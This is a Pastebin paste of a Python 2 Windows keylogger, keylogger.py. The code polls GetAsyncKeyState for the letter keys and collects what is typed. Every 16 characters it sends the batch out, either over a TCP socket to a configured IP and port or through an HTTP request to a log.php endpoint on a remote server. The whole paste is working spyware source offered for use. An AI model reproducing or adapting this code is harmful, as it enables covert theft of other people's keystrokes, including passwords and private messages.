Guest User

keylogger.py

a guest
Aug 8th, 2010
559
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.23 KB | None | 0 0
  1. from ctypes import *
  2. from ctypes.wintypes import *
  3. from socket import *
  4. from urllib import urlopen
  5.  
  6. user32=cdll.user32
  7.  
  8. SEND="sock" #"http"
  9. IP="127.0.0.1"
  10. PORT=1337
  11. HTTPSERV=""
  12.  
  13. def sendkeys(keys):
  14.     if SEND=="sock":
  15.         try:
  16.             s = socket(AF_INET, SOCK_STREAM)
  17.             s.connect((IP, PORT))
  18.             s.send(keys)
  19.             s.close()
  20.         except:
  21.             return
  22.     elif SEND=="http":
  23.         try:
  24.             urlopen(HTTPSERV+"\/log.php?keys="+keys)
  25.         except:
  26.             return
  27.     print keys
  28.  
  29. keys=""
  30.  
  31. #These lists and ints keep track on the keys that are currently down
  32. registry=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
  33. caps=0
  34. shift=0
  35. esc=0
  36. enter=0
  37. space=0
  38. alt=0
  39. altgr=0
  40. delete=0
  41. backspace=0
  42. while 1:
  43.     user32.GetAsyncKeyState.restype = WORD
  44.     #Read A-Z
  45.     for i in range(65, 91):
  46.         state=user32.GetAsyncKeyState(i)
  47.         j=i-65 #Registry index
  48.  
  49.         #Key just got pressed
  50.         if state and registry[j] == 0:
  51.             keys += chr(i+32)
  52.             registry[j] = 1
  53.  
  54.         #Key just got released
  55.         elif not state and registry[j]==1:
  56.             registry[j] = 0
  57.  
  58.     if len(keys)==16:
  59.         sendkeys(keys)
  60.         keys=""
Advertisement
Add Comment
Please, Sign In to add comment